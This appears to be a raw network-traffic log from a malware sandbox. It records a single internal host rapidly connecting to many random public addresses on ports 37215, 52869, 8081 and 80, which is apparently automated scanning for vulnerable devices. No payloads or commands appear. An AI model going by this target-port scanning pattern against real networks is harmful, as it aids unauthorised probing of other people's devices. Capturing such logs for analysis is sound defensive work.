Jul 20, 2024 23:00:59.896455050 CEST	60586	52869	192.168.2.23	13.188.89.36
Jul 20, 2024 23:00:59.896675110 CEST	80	53440	95.180.44.181	192.168.2.23
Jul 20, 2024 23:00:59.898716927 CEST	53410	37215	192.168.2.23	19.199.208.241
Jul 20, 2024 23:00:59.899281979 CEST	36232	80	192.168.2.23	95.79.26.189
Jul 20, 2024 23:00:59.899281979 CEST	36232	80	192.168.2.23	95.79.26.189
Jul 20, 2024 23:00:59.900145054 CEST	80	40134	95.197.154.83	192.168.2.23
Jul 20, 2024 23:00:59.900333881 CEST	40134	80	192.168.2.23	95.197.154.83
Jul 20, 2024 23:00:59.901437044 CEST	8081	40754	48.252.220.101	192.168.2.23
Jul 20, 2024 23:00:59.901552916 CEST	40754	8081	192.168.2.23	48.252.220.101
Jul 20, 2024 23:00:59.902662039 CEST	52869	60586	13.188.89.36	192.168.2.23
Jul 20, 2024 23:00:59.903878927 CEST	37215	53410	19.199.208.241	192.168.2.23
Jul 20, 2024 23:00:59.904000044 CEST	60586	52869	192.168.2.23	13.188.89.36
Jul 20, 2024 23:00:59.904684067 CEST	80	36232	95.79.26.189	192.168.2.23
Jul 20, 2024 23:00:59.908463955 CEST	53410	37215	192.168.2.23	19.199.208.241
Jul 20, 2024 23:00:59.914066076 CEST	80	51572	95.180.177.183	192.168.2.23
Jul 20, 2024 23:00:59.920846939 CEST	80	42310	95.53.118.65	192.168.2.23
Jul 20, 2024 23:00:59.933330059 CEST	80	55118	95.249.27.14	192.168.2.23
Jul 20, 2024 23:00:59.936732054 CEST	80	39014	95.197.154.83	192.168.2.23
Jul 20, 2024 23:00:59.940521002 CEST	37348	80	192.168.2.23	95.79.26.189
Jul 20, 2024 23:00:59.941239119 CEST	55116	8081	192.168.2.23	114.223.71.65
Jul 20, 2024 23:00:59.941890955 CEST	57978	52869	192.168.2.23	128.89.159.185
Jul 20, 2024 23:00:59.942394018 CEST	52146	37215	192.168.2.23	51.142.141.117
Jul 20, 2024 23:00:59.944303989 CEST	51146	80	192.168.2.23	95.174.246.108
Jul 20, 2024 23:00:59.944303989 CEST	51146	80	192.168.2.23	95.174.246.108
Jul 20, 2024 23:00:59.945677996 CEST	80	37348	95.79.26.189	192.168.2.23
Jul 20, 2024 23:00:59.945722103 CEST	37348	80	192.168.2.23	95.79.26.189
Jul 20, 2024 23:00:59.946194887 CEST	8081	55116	114.223.71.65	192.168.2.23
Jul 20, 2024 23:00:59.946283102 CEST	55116	8081	192.168.2.23	114.223.71.65
Jul 20, 2024 23:00:59.947171926 CEST	52869	57978	128.89.159.185	192.168.2.23
Jul 20, 2024 23:00:59.947212934 CEST	57978	52869	192.168.2.23	128.89.159.185
Jul 20, 2024 23:00:59.947386980 CEST	33230	8081	192.168.2.23	5.251.164.105
Jul 20, 2024 23:00:59.948060989 CEST	37215	52146	51.142.141.117	192.168.2.23
Jul 20, 2024 23:00:59.948105097 CEST	52146	37215	192.168.2.23	51.142.141.117
Jul 20, 2024 23:00:59.948705912 CEST	52258	80	192.168.2.23	95.174.246.108
Jul 20, 2024 23:00:59.948903084 CEST	80	36232	95.79.26.189	192.168.2.23
Jul 20, 2024 23:00:59.949281931 CEST	80	51146	95.174.246.108	192.168.2.23
Jul 20, 2024 23:00:59.950548887 CEST	50582	52869	192.168.2.23	212.172.247.72
Jul 20, 2024 23:00:59.951006889 CEST	58502	37215	192.168.2.23	197.160.34.184
Jul 20, 2024 23:00:59.951246977 CEST	80	53906	95.234.195.112	192.168.2.23
Jul 20, 2024 23:00:59.951284885 CEST	53906	80	192.168.2.23	95.234.195.112
Jul 20, 2024 23:00:59.953262091 CEST	8081	33230	5.251.164.105	192.168.2.23
Jul 20, 2024 23:00:59.953300953 CEST	33230	8081	192.168.2.23	5.251.164.105
Jul 20, 2024 23:00:59.954376936 CEST	80	52258	95.174.246.108	192.168.2.23
Jul 20, 2024 23:00:59.954421043 CEST	52258	80	192.168.2.23	95.174.246.108
Jul 20, 2024 23:00:59.954900026 CEST	52098	80	192.168.2.23	95.141.113.27
Jul 20, 2024 23:00:59.954900026 CEST	52098	80	192.168.2.23	95.141.113.27
Jul 20, 2024 23:00:59.955703020 CEST	52869	50582	212.172.247.72	192.168.2.23
Jul 20, 2024 23:00:59.955864906 CEST	50582	52869	192.168.2.23	212.172.247.72
Jul 20, 2024 23:00:59.956355095 CEST	37215	58502	197.160.34.184	192.168.2.23
Jul 20, 2024 23:00:59.956427097 CEST	58502	37215	192.168.2.23	197.160.34.184
Jul 20, 2024 23:00:59.957593918 CEST	55174	8081	192.168.2.23	188.250.198.110
Jul 20, 2024 23:00:59.958333969 CEST	58878	52869	192.168.2.23	162.162.162.31
Jul 20, 2024 23:00:59.958837032 CEST	34864	37215	192.168.2.23	197.115.124.156
Jul 20, 2024 23:00:59.958956957 CEST	53212	80	192.168.2.23	95.141.113.27
Jul 20, 2024 23:00:59.959894896 CEST	80	52098	95.141.113.27	192.168.2.23
Jul 20, 2024 23:00:59.963634968 CEST	8081	55174	188.250.198.110	192.168.2.23
Jul 20, 2024 23:00:59.963844061 CEST	55174	8081	192.168.2.23	188.250.198.110
Jul 20, 2024 23:00:59.964394093 CEST	52869	58878	162.162.162.31	192.168.2.23
Jul 20, 2024 23:00:59.964413881 CEST	49118	80	192.168.2.23	95.217.193.65
Jul 20, 2024 23:00:59.964415073 CEST	49118	80	192.168.2.23	95.217.193.65
Jul 20, 2024 23:00:59.964596987 CEST	58878	52869	192.168.2.23	162.162.162.31
Jul 20, 2024 23:00:59.964696884 CEST	37215	34864	197.115.124.156	192.168.2.23
Jul 20, 2024 23:00:59.964709044 CEST	80	53212	95.141.113.27	192.168.2.23
Jul 20, 2024 23:00:59.964735985 CEST	34864	37215	192.168.2.23	197.115.124.156
Jul 20, 2024 23:00:59.964781046 CEST	53212	80	192.168.2.23	95.141.113.27
Jul 20, 2024 23:00:59.965487957 CEST	53084	8081	192.168.2.23	2.135.159.238
Jul 20, 2024 23:00:59.968379021 CEST	40650	52869	192.168.2.23	24.106.184.126
Jul 20, 2024 23:00:59.968625069 CEST	37970	37215	192.168.2.23	41.232.6.48
Jul 20, 2024 23:00:59.969243050 CEST	50226	80	192.168.2.23	95.217.193.65
Jul 20, 2024 23:00:59.969837904 CEST	80	49118	95.217.193.65	192.168.2.23
Jul 20, 2024 23:00:59.971307993 CEST	8081	47030	126.203.110.229	192.168.2.23
Jul 20, 2024 23:00:59.971365929 CEST	47030	8081	192.168.2.23	126.203.110.229
Jul 20, 2024 23:00:59.971718073 CEST	8081	53084	2.135.159.238	192.168.2.23
Jul 20, 2024 23:00:59.971757889 CEST	53084	8081	192.168.2.23	2.135.159.238
Jul 20, 2024 23:00:59.974477053 CEST	52869	40650	24.106.184.126	192.168.2.23
Jul 20, 2024 23:00:59.974523067 CEST	40650	52869	192.168.2.23	24.106.184.126
Jul 20, 2024 23:00:59.975008011 CEST	37215	37970	41.232.6.48	192.168.2.23
Jul 20, 2024 23:00:59.975044012 CEST	37970	37215	192.168.2.23	41.232.6.48
Jul 20, 2024 23:00:59.975193977 CEST	80	50226	95.217.193.65	192.168.2.23
Jul 20, 2024 23:00:59.975229979 CEST	60098	80	192.168.2.23	95.60.18.245
Jul 20, 2024 23:00:59.975229979 CEST	60098	80	192.168.2.23	95.60.18.245
Jul 20, 2024 23:00:59.975286961 CEST	50226	80	192.168.2.23	95.217.193.65
Jul 20, 2024 23:00:59.976097107 CEST	60962	8081	192.168.2.23	88.227.232.46
Jul 20, 2024 23:00:59.976816893 CEST	55040	52869	192.168.2.23	111.252.253.89
Jul 20, 2024 23:00:59.977358103 CEST	53980	37215	192.168.2.23	157.230.88.31
Jul 20, 2024 23:00:59.979490995 CEST	32970	80	192.168.2.23	95.60.18.245
Jul 20, 2024 23:00:59.980571985 CEST	80	60098	95.60.18.245	192.168.2.23
Jul 20, 2024 23:00:59.981942892 CEST	8081	60962	88.227.232.46	192.168.2.23
Jul 20, 2024 23:00:59.981991053 CEST	60962	8081	192.168.2.23	88.227.232.46
Jul 20, 2024 23:00:59.982218027 CEST	52869	55040	111.252.253.89	192.168.2.23
Jul 20, 2024 23:00:59.982253075 CEST	55040	52869	192.168.2.23	111.252.253.89
Jul 20, 2024 23:00:59.982347012 CEST	45668	8081	192.168.2.23	111.130.255.185
Jul 20, 2024 23:00:59.982616901 CEST	37215	53980	157.230.88.31	192.168.2.23
Jul 20, 2024 23:00:59.982722998 CEST	53980	37215	192.168.2.23	157.230.88.31
Jul 20, 2024 23:00:59.983239889 CEST	44500	80	192.168.2.23	95.24.237.161
Jul 20, 2024 23:00:59.983239889 CEST	44500	80	192.168.2.23	95.24.237.161
Jul 20, 2024 23:00:59.985244036 CEST	80	32970	95.60.18.245	192.168.2.23
Jul 20, 2024 23:00:59.985399008 CEST	32970	80	192.168.2.23	95.60.18.245
Jul 20, 2024 23:00:59.985531092 CEST	47392	37215	192.168.2.23	197.151.222.142
Jul 20, 2024 23:00:59.987900019 CEST	50724	52869	192.168.2.23	184.77.18.239
Jul 20, 2024 23:00:59.988079071 CEST	8081	45668	111.130.255.185	192.168.2.23
Jul 20, 2024 23:00:59.988128901 CEST	45668	8081	192.168.2.23	111.130.255.185
Jul 20, 2024 23:00:59.988656998 CEST	45598	80	192.168.2.23	95.24.237.161
Jul 20, 2024 23:00:59.989056110 CEST	80	44500	95.24.237.161	192.168.2.23
Jul 20, 2024 23:00:59.990760088 CEST	37215	47392	197.151.222.142	192.168.2.23
Jul 20, 2024 23:00:59.990886927 CEST	47392	37215	192.168.2.23	197.151.222.142
Jul 20, 2024 23:00:59.993320942 CEST	80	51146	95.174.246.108	192.168.2.23
Jul 20, 2024 23:00:59.993334055 CEST	52869	50724	184.77.18.239	192.168.2.23
Jul 20, 2024 23:00:59.993355036 CEST	43394	8081	192.168.2.23	39.240.140.73
Jul 20, 2024 23:00:59.993558884 CEST	50724	52869	192.168.2.23	184.77.18.239
Jul 20, 2024 23:00:59.993968010 CEST	80	45598	95.24.237.161	192.168.2.23
Jul 20, 2024 23:00:59.994016886 CEST	45598	80	192.168.2.23	95.24.237.161
Jul 20, 2024 23:00:59.994791985 CEST	38614	37215	192.168.2.23	157.207.43.131
Jul 20, 2024 23:00:59.998577118 CEST	8081	43394	39.240.140.73	192.168.2.23
Jul 20, 2024 23:00:59.998703003 CEST	43394	8081	192.168.2.23	39.240.140.73
Jul 20, 2024 23:00:59.999610901 CEST	34136	52869	192.168.2.23	65.114.239.111
Jul 20, 2024 23:01:00.000083923 CEST	37215	38614	157.207.43.131	192.168.2.23
Jul 20, 2024 23:01:00.000137091 CEST	38614	37215	192.168.2.23	157.207.43.131
Jul 20, 2024 23:01:00.000499964 CEST	51440	80	192.168.2.23	88.3.246.166
Jul 20, 2024 23:01:00.002346039 CEST	51138	8081	192.168.2.23	108.204.100.190
Jul 20, 2024 23:01:00.005110979 CEST	45902	37215	192.168.2.23	197.209.84.96
Jul 20, 2024 23:01:00.007184982 CEST	80	52098	95.141.113.27	192.168.2.23
Jul 20, 2024 23:01:00.007460117 CEST	42126	52869	192.168.2.23	223.193.169.99
Jul 20, 2024 23:01:00.007575989 CEST	52869	34136	65.114.239.111	192.168.2.23
Jul 20, 2024 23:01:00.007633924 CEST	34136	52869	192.168.2.23	65.114.239.111
Jul 20, 2024 23:01:00.007931948 CEST	80	51440	88.3.246.166	192.168.2.23
Jul 20, 2024 23:01:00.008022070 CEST	51440	80	192.168.2.23	88.3.246.166
Jul 20, 2024 23:01:00.008460999 CEST	8081	51138	108.204.100.190	192.168.2.23
Jul 20, 2024 23:01:00.008594036 CEST	51138	8081	192.168.2.23	108.204.100.190
Jul 20, 2024 23:01:00.009861946 CEST	40804	80	192.168.2.23	88.124.110.91
Jul 20, 2024 23:01:00.010508060 CEST	36132	8081	192.168.2.23	51.75.205.142
Jul 20, 2024 23:01:00.011125088 CEST	37215	45902	197.209.84.96	192.168.2.23
Jul 20, 2024 23:01:00.011301994 CEST	38304	37215	192.168.2.23	197.92.201.180
Jul 20, 2024 23:01:00.011326075 CEST	45902	37215	192.168.2.23	197.209.84.96
Jul 20, 2024 23:01:00.012757063 CEST	80	49118	95.217.193.65	192.168.2.23
Jul 20, 2024 23:01:00.012813091 CEST	52869	42126	223.193.169.99	192.168.2.23
Jul 20, 2024 23:01:00.012856960 CEST	42126	52869	192.168.2.23	223.193.169.99
Jul 20, 2024 23:01:00.015110016 CEST	52432	52869	192.168.2.23	150.181.42.248
Jul 20, 2024 23:01:00.016649961 CEST	80	40804	88.124.110.91	192.168.2.23
Jul 20, 2024 23:01:00.016777039 CEST	8081	36132	51.75.205.142	192.168.2.23
Jul 20, 2024 23:01:00.016792059 CEST	46070	8081	192.168.2.23	182.180.214.71
Jul 20, 2024 23:01:00.016803026 CEST	40804	80	192.168.2.23	88.124.110.91
Jul 20, 2024 23:01:00.017009974 CEST	36132	8081	192.168.2.23	51.75.205.142
Jul 20, 2024 23:01:00.017888069 CEST	37215	38304	197.92.201.180	192.168.2.23
Jul 20, 2024 23:01:00.017936945 CEST	38304	37215	192.168.2.23	197.92.201.180
Jul 20, 2024 23:01:00.018012047 CEST	60110	80	192.168.2.23	88.68.59.143
Jul 20, 2024 23:01:00.020461082 CEST	59666	37215	192.168.2.23	197.28.251.253
Jul 20, 2024 23:01:00.022749901 CEST	52869	52432	150.181.42.248	192.168.2.23
Jul 20, 2024 23:01:00.022793055 CEST	52432	52869	192.168.2.23	150.181.42.248
Jul 20, 2024 23:01:00.023845911 CEST	8081	46070	182.180.214.71	192.168.2.23
Jul 20, 2024 23:01:00.023896933 CEST	46070	8081	192.168.2.23	182.180.214.71
Jul 20, 2024 23:01:00.024698019 CEST	80	60098	95.60.18.245	192.168.2.23
Jul 20, 2024 23:01:00.025588989 CEST	80	60110	88.68.59.143	192.168.2.23
Jul 20, 2024 23:01:00.025633097 CEST	60110	80	192.168.2.23	88.68.59.143
Jul 20, 2024 23:01:00.025718927 CEST	60076	52869	192.168.2.23	206.248.87.37
Jul 20, 2024 23:01:00.026734114 CEST	37215	59666	197.28.251.253	192.168.2.23
Jul 20, 2024 23:01:00.026860952 CEST	59666	37215	192.168.2.23	197.28.251.253
Jul 20, 2024 23:01:00.027509928 CEST	57572	8081	192.168.2.23	34.165.154.242
Jul 20, 2024 23:01:00.028523922 CEST	51926	37215	192.168.2.23	41.13.46.200
Jul 20, 2024 23:01:00.028805017 CEST	33032	80	192.168.2.23	88.168.15.70
Jul 20, 2024 23:01:00.032064915 CEST	52869	60076	206.248.87.37	192.168.2.23
Jul 20, 2024 23:01:00.032108068 CEST	60076	52869	192.168.2.23	206.248.87.37
Jul 20, 2024 23:01:00.032655001 CEST	8081	43798	119.196.179.139	192.168.2.23
Jul 20, 2024 23:01:00.032668114 CEST	80	44500	95.24.237.161	192.168.2.23
Jul 20, 2024 23:01:00.032705069 CEST	43798	8081	192.168.2.23	119.196.179.139
Jul 20, 2024 23:01:00.033699036 CEST	8081	57572	34.165.154.242	192.168.2.23
Jul 20, 2024 23:01:00.033711910 CEST	37215	51926	41.13.46.200	192.168.2.23
Jul 20, 2024 23:01:00.033732891 CEST	57572	8081	192.168.2.23	34.165.154.242
Jul 20, 2024 23:01:00.033920050 CEST	51926	37215	192.168.2.23	41.13.46.200
Jul 20, 2024 23:01:00.034900904 CEST	80	33032	88.168.15.70	192.168.2.23
Jul 20, 2024 23:01:00.034919977 CEST	33926	8081	192.168.2.23	219.54.135.72
Jul 20, 2024 23:01:00.035029888 CEST	33032	80	192.168.2.23	88.168.15.70
Jul 20, 2024 23:01:00.035244942 CEST	60634	52869	192.168.2.23	124.254.84.115
Jul 20, 2024 23:01:00.039203882 CEST	54302	37215	192.168.2.23	197.133.25.253
Jul 20, 2024 23:01:00.039951086 CEST	46128	80	192.168.2.23	88.31.210.222
Jul 20, 2024 23:01:00.040261984 CEST	8081	33926	219.54.135.72	192.168.2.23
Jul 20, 2024 23:01:00.040430069 CEST	33926	8081	192.168.2.23	219.54.135.72
Jul 20, 2024 23:01:00.040801048 CEST	52869	60634	124.254.84.115	192.168.2.23
Jul 20, 2024 23:01:00.040868998 CEST	60634	52869	192.168.2.23	124.254.84.115
Jul 20, 2024 23:01:00.044766903 CEST	52042	52869	192.168.2.23	75.16.13.92
Jul 20, 2024 23:01:00.044904947 CEST	37215	54302	197.133.25.253	192.168.2.23
Jul 20, 2024 23:01:00.044972897 CEST	54302	37215	192.168.2.23	197.133.25.253
Jul 20, 2024 23:01:00.046581030 CEST	80	46128	88.31.210.222	192.168.2.23
Jul 20, 2024 23:01:00.046739101 CEST	56800	8081	192.168.2.23	89.224.68.64
Jul 20, 2024 23:01:00.046757936 CEST	46128	80	192.168.2.23	88.31.210.222
Jul 20, 2024 23:01:00.047662020 CEST	46764	37215	192.168.2.23	197.247.217.62
Jul 20, 2024 23:01:00.050281048 CEST	57098	80	192.168.2.23	88.208.11.159
Jul 20, 2024 23:01:00.053375959 CEST	37942	8081	192.168.2.23	155.103.57.93
Jul 20, 2024 23:01:00.053442955 CEST	52869	52042	75.16.13.92	192.168.2.23
Jul 20, 2024 23:01:00.053493977 CEST	52042	52869	192.168.2.23	75.16.13.92
Jul 20, 2024 23:01:00.053730011 CEST	57262	52869	192.168.2.23	175.24.153.194
Jul 20, 2024 23:01:00.054923058 CEST	8081	56800	89.224.68.64	192.168.2.23
Jul 20, 2024 23:01:00.054965019 CEST	56800	8081	192.168.2.23	89.224.68.64
Jul 20, 2024 23:01:00.055444002 CEST	37215	46764	197.247.217.62	192.168.2.23
Jul 20, 2024 23:01:00.055505991 CEST	46764	37215	192.168.2.23	197.247.217.62
Jul 20, 2024 23:01:00.055803061 CEST	52098	37215	192.168.2.23	157.225.33.253
Jul 20, 2024 23:01:00.055840015 CEST	80	57098	88.208.11.159	192.168.2.23
Jul 20, 2024 23:01:00.055877924 CEST	57098	80	192.168.2.23	88.208.11.159
Jul 20, 2024 23:01:00.057919979 CEST	51992	80	192.168.2.23	88.202.254.120
Jul 20, 2024 23:01:00.058849096 CEST	8081	37942	155.103.57.93	192.168.2.23
Jul 20, 2024 23:01:00.058983088 CEST	37942	8081	192.168.2.23	155.103.57.93
Jul 20, 2024 23:01:00.058993101 CEST	52869	57262	175.24.153.194	192.168.2.23
Jul 20, 2024 23:01:00.059315920 CEST	57262	52869	192.168.2.23	175.24.153.194
Jul 20, 2024 23:01:00.061415911 CEST	52722	8081	192.168.2.23	166.54.160.22
Jul 20, 2024 23:01:00.061841965 CEST	37215	52098	157.225.33.253	192.168.2.23
Jul 20, 2024 23:01:00.061896086 CEST	52098	37215	192.168.2.23	157.225.33.253
Jul 20, 2024 23:01:00.062294960 CEST	34558	52869	192.168.2.23	201.250.207.152
Jul 20, 2024 23:01:00.062890053 CEST	44098	37215	192.168.2.23	41.239.125.129
Jul 20, 2024 23:01:00.063220024 CEST	80	51992	88.202.254.120	192.168.2.23
Jul 20, 2024 23:01:00.063292980 CEST	51992	80	192.168.2.23	88.202.254.120
Jul 20, 2024 23:01:00.066837072 CEST	8081	52722	166.54.160.22	192.168.2.23
Jul 20, 2024 23:01:00.068279028 CEST	52869	34558	201.250.207.152	192.168.2.23
Jul 20, 2024 23:01:00.068348885 CEST	37215	44098	41.239.125.129	192.168.2.23
Jul 20, 2024 23:01:00.074682951 CEST	52722	8081	192.168.2.23	166.54.160.22
Jul 20, 2024 23:01:00.078634977 CEST	34558	52869	192.168.2.23	201.250.207.152
Jul 20, 2024 23:01:00.078634977 CEST	44098	37215	192.168.2.23	41.239.125.129
Jul 20, 2024 23:01:00.104067087 CEST	35076	80	192.168.2.23	88.38.237.102
Jul 20, 2024 23:01:00.104540110 CEST	46866	8081	192.168.2.23	113.225.23.155
Jul 20, 2024 23:01:00.107100964 CEST	50178	52869	192.168.2.23	218.228.206.146
Jul 20, 2024 23:01:00.107834101 CEST	58024	37215	192.168.2.23	163.95.87.60
Jul 20, 2024 23:01:00.109440088 CEST	80	35076	88.38.237.102	192.168.2.23
Jul 20, 2024 23:01:00.109514952 CEST	35076	80	192.168.2.23	88.38.237.102
Jul 20, 2024 23:01:00.109880924 CEST	8081	46866	113.225.23.155	192.168.2.23
Jul 20, 2024 23:01:00.110018969 CEST	46866	8081	192.168.2.23	113.225.23.155
Jul 20, 2024 23:01:00.112029076 CEST	36870	80	192.168.2.23	88.72.232.59
Jul 20, 2024 23:01:00.112354040 CEST	52869	50178	218.228.206.146	192.168.2.23
Jul 20, 2024 23:01:00.112411022 CEST	50178	52869	192.168.2.23	218.228.206.146
Jul 20, 2024 23:01:00.112948895 CEST	56348	8081	192.168.2.23	39.2.173.179
Jul 20, 2024 23:01:00.113032103 CEST	37215	58024	163.95.87.60	192.168.2.23
Jul 20, 2024 23:01:00.113076925 CEST	58024	37215	192.168.2.23	163.95.87.60
Jul 20, 2024 23:01:00.113756895 CEST	46822	37215	192.168.2.23	157.249.16.252
Jul 20, 2024 23:01:00.115356922 CEST	47360	52869	192.168.2.23	93.10.103.253
Jul 20, 2024 23:01:00.117269039 CEST	80	36870	88.72.232.59	192.168.2.23
Jul 20, 2024 23:01:00.117315054 CEST	36870	80	192.168.2.23	88.72.232.59
Jul 20, 2024 23:01:00.118335962 CEST	8081	56348	39.2.173.179	192.168.2.23
Jul 20, 2024 23:01:00.118385077 CEST	56348	8081	192.168.2.23	39.2.173.179
Jul 20, 2024 23:01:00.119568110 CEST	37215	46822	157.249.16.252	192.168.2.23
Jul 20, 2024 23:01:00.119663000 CEST	46822	37215	192.168.2.23	157.249.16.252
Jul 20, 2024 23:01:00.119995117 CEST	60054	8081	192.168.2.23	159.177.3.110
Jul 20, 2024 23:01:00.121032000 CEST	52869	47360	93.10.103.253	192.168.2.23
Jul 20, 2024 23:01:00.121047020 CEST	45400	80	192.168.2.23	88.176.139.100
Jul 20, 2024 23:01:00.121078968 CEST	47360	52869	192.168.2.23	93.10.103.253
Jul 20, 2024 23:01:00.123044968 CEST	45156	52869	192.168.2.23	120.98.109.98
Jul 20, 2024 23:01:00.123325109 CEST	40104	37215	192.168.2.23	157.63.197.170
Jul 20, 2024 23:01:00.125191927 CEST	8081	60054	159.177.3.110	192.168.2.23
Jul 20, 2024 23:01:00.125237942 CEST	60054	8081	192.168.2.23	159.177.3.110
Jul 20, 2024 23:01:00.126689911 CEST	80	45400	88.176.139.100	192.168.2.23
Jul 20, 2024 23:01:00.126739025 CEST	45400	80	192.168.2.23	88.176.139.100
Jul 20, 2024 23:01:00.128371000 CEST	52869	45156	120.98.109.98	192.168.2.23
Jul 20, 2024 23:01:00.128432989 CEST	45156	52869	192.168.2.23	120.98.109.98
Jul 20, 2024 23:01:00.128690004 CEST	37215	40104	157.63.197.170	192.168.2.23
Jul 20, 2024 23:01:00.128858089 CEST	40104	37215	192.168.2.23	157.63.197.170
Jul 20, 2024 23:01:00.130008936 CEST	40438	8081	192.168.2.23	194.8.38.20
Jul 20, 2024 23:01:00.130961895 CEST	33920	37215	192.168.2.23	145.149.22.179
Jul 20, 2024 23:01:00.131196976 CEST	59124	80	192.168.2.23	88.232.235.236
Jul 20, 2024 23:01:00.132577896 CEST	44326	52869	192.168.2.23	109.115.27.6
Jul 20, 2024 23:01:00.136012077 CEST	8081	40438	194.8.38.20	192.168.2.23
Jul 20, 2024 23:01:00.136152983 CEST	40438	8081	192.168.2.23	194.8.38.20
Jul 20, 2024 23:01:00.136686087 CEST	37215	33920	145.149.22.179	192.168.2.23
Jul 20, 2024 23:01:00.136727095 CEST	33920	37215	192.168.2.23	145.149.22.179
Jul 20, 2024 23:01:00.137135983 CEST	80	59124	88.232.235.236	192.168.2.23
Jul 20, 2024 23:01:00.137181997 CEST	59124	80	192.168.2.23	88.232.235.236
Jul 20, 2024 23:01:00.137659073 CEST	52869	44326	109.115.27.6	192.168.2.23
Jul 20, 2024 23:01:00.137701988 CEST	44326	52869	192.168.2.23	109.115.27.6
Jul 20, 2024 23:01:00.138128042 CEST	41006	8081	192.168.2.23	110.138.112.123
Jul 20, 2024 23:01:00.140908957 CEST	59650	52869	192.168.2.23	57.179.102.199
Jul 20, 2024 23:01:00.141001940 CEST	51062	37215	192.168.2.23	197.12.203.6
Jul 20, 2024 23:01:00.141477108 CEST	50436	80	192.168.2.23	88.225.214.134
Jul 20, 2024 23:01:00.143419981 CEST	8081	41006	110.138.112.123	192.168.2.23
Jul 20, 2024 23:01:00.143476963 CEST	41006	8081	192.168.2.23	110.138.112.123
Jul 20, 2024 23:01:00.145874023 CEST	45352	8081	192.168.2.23	193.238.217.83
Jul 20, 2024 23:01:00.146399975 CEST	52869	59650	57.179.102.199	192.168.2.23
Jul 20, 2024 23:01:00.146449089 CEST	33796	37215	192.168.2.23	157.139.28.102
Jul 20, 2024 23:01:00.146461010 CEST	37215	51062	197.12.203.6	192.168.2.23
Jul 20, 2024 23:01:00.146461010 CEST	59650	52869	192.168.2.23	57.179.102.199
Jul 20, 2024 23:01:00.146507978 CEST	51062	37215	192.168.2.23	197.12.203.6
Jul 20, 2024 23:01:00.146713018 CEST	80	50436	88.225.214.134	192.168.2.23
Jul 20, 2024 23:01:00.146924019 CEST	50436	80	192.168.2.23	88.225.214.134
Jul 20, 2024 23:01:00.147967100 CEST	58484	52869	192.168.2.23	186.129.229.179
Jul 20, 2024 23:01:00.148844957 CEST	45004	80	192.168.2.23	88.250.195.181
Jul 20, 2024 23:01:00.151263952 CEST	38350	8081	192.168.2.23	102.68.235.71
Jul 20, 2024 23:01:00.151753902 CEST	8081	45352	193.238.217.83	192.168.2.23
Jul 20, 2024 23:01:00.151815891 CEST	45352	8081	192.168.2.23	193.238.217.83
Jul 20, 2024 23:01:00.151849985 CEST	37215	33796	157.139.28.102	192.168.2.23
Jul 20, 2024 23:01:00.151895046 CEST	33796	37215	192.168.2.23	157.139.28.102
Jul 20, 2024 23:01:00.153100967 CEST	52869	58484	186.129.229.179	192.168.2.23
Jul 20, 2024 23:01:00.153142929 CEST	58484	52869	192.168.2.23	186.129.229.179
Jul 20, 2024 23:01:00.153333902 CEST	43584	52869	192.168.2.23	186.40.176.32
Jul 20, 2024 23:01:00.153562069 CEST	47164	37215	192.168.2.23	157.63.143.206
Jul 20, 2024 23:01:00.154167891 CEST	80	45004	88.250.195.181	192.168.2.23
Jul 20, 2024 23:01:00.154222012 CEST	45004	80	192.168.2.23	88.250.195.181
Jul 20, 2024 23:01:00.155411959 CEST	41552	80	192.168.2.23	88.15.192.235
Jul 20, 2024 23:01:00.156646013 CEST	8081	38350	102.68.235.71	192.168.2.23
Jul 20, 2024 23:01:00.156683922 CEST	38350	8081	192.168.2.23	102.68.235.71
Jul 20, 2024 23:01:00.157674074 CEST	38844	8081	192.168.2.23	95.138.253.92
Jul 20, 2024 23:01:00.158509016 CEST	52869	43584	186.40.176.32	192.168.2.23
Jul 20, 2024 23:01:00.158548117 CEST	43584	52869	192.168.2.23	186.40.176.32
Jul 20, 2024 23:01:00.158946991 CEST	60910	37215	192.168.2.23	197.118.146.83
Jul 20, 2024 23:01:00.158998013 CEST	37215	47164	157.63.143.206	192.168.2.23
Jul 20, 2024 23:01:00.159152031 CEST	47164	37215	192.168.2.23	157.63.143.206
Jul 20, 2024 23:01:00.160132885 CEST	34988	52869	192.168.2.23	172.97.184.195
Jul 20, 2024 23:01:00.161526918 CEST	80	41552	88.15.192.235	192.168.2.23
Jul 20, 2024 23:01:00.161698103 CEST	41552	80	192.168.2.23	88.15.192.235
Jul 20, 2024 23:01:00.163429022 CEST	8081	38844	95.138.253.92	192.168.2.23
Jul 20, 2024 23:01:00.163495064 CEST	49738	80	192.168.2.23	88.153.179.70
Jul 20, 2024 23:01:00.163584948 CEST	38844	8081	192.168.2.23	95.138.253.92
Jul 20, 2024 23:01:00.164124012 CEST	37215	60910	197.118.146.83	192.168.2.23
Jul 20, 2024 23:01:00.164237976 CEST	60910	37215	192.168.2.23	197.118.146.83
Jul 20, 2024 23:01:00.164630890 CEST	46572	8081	192.168.2.23	78.217.143.245
Jul 20, 2024 23:01:00.165436983 CEST	52869	34988	172.97.184.195	192.168.2.23
Jul 20, 2024 23:01:00.165482044 CEST	34988	52869	192.168.2.23	172.97.184.195
Jul 20, 2024 23:01:00.167424917 CEST	39392	37215	192.168.2.23	155.165.181.96
Jul 20, 2024 23:01:00.168807983 CEST	59360	52869	192.168.2.23	117.76.49.30
Jul 20, 2024 23:01:00.169356108 CEST	80	49738	88.153.179.70	192.168.2.23
Jul 20, 2024 23:01:00.169397116 CEST	49738	80	192.168.2.23	88.153.179.70
Jul 20, 2024 23:01:00.170216084 CEST	8081	46572	78.217.143.245	192.168.2.23
Jul 20, 2024 23:01:00.170254946 CEST	46572	8081	192.168.2.23	78.217.143.245
Jul 20, 2024 23:01:00.171554089 CEST	52424	80	192.168.2.23	88.181.220.254
Jul 20, 2024 23:01:00.172382116 CEST	53648	8081	192.168.2.23	105.194.40.224
Jul 20, 2024 23:01:00.172581911 CEST	37215	39392	155.165.181.96	192.168.2.23
Jul 20, 2024 23:01:00.172750950 CEST	39392	37215	192.168.2.23	155.165.181.96
Jul 20, 2024 23:01:00.173672915 CEST	42978	37215	192.168.2.23	206.176.8.137
Jul 20, 2024 23:01:00.174448967 CEST	52869	59360	117.76.49.30	192.168.2.23
Jul 20, 2024 23:01:00.174501896 CEST	59360	52869	192.168.2.23	117.76.49.30
Jul 20, 2024 23:01:00.177248955 CEST	80	52424	88.181.220.254	192.168.2.23
Jul 20, 2024 23:01:00.178962946 CEST	8081	53648	105.194.40.224	192.168.2.23
Jul 20, 2024 23:01:00.179107904 CEST	53648	8081	192.168.2.23	105.194.40.224
Jul 20, 2024 23:01:00.179150105 CEST	37215	42978	206.176.8.137	192.168.2.23
